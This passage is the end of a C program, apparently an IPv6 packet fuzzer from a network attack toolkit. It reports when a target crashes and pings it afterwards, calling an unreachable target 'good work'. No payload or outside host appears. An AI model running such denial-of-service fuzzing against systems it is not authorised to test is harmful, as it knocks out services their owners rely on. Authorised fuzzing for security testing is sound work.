printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current);
exit(-1);
}
}
//else printf("NOT SENT - NOT IN TEST LIST\n");
// reset to basic packet
memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
test_current++;
}
//else printf("NOT SENT!\n");
}
printf("\n");
// ping afterwards to check if it worked
if (do_alive) {
if (check_alive(p, interface, src6, real_dst6) == 0)
printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos);
else
printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]);
}
thc_pcap_close(p);
return 0;
}
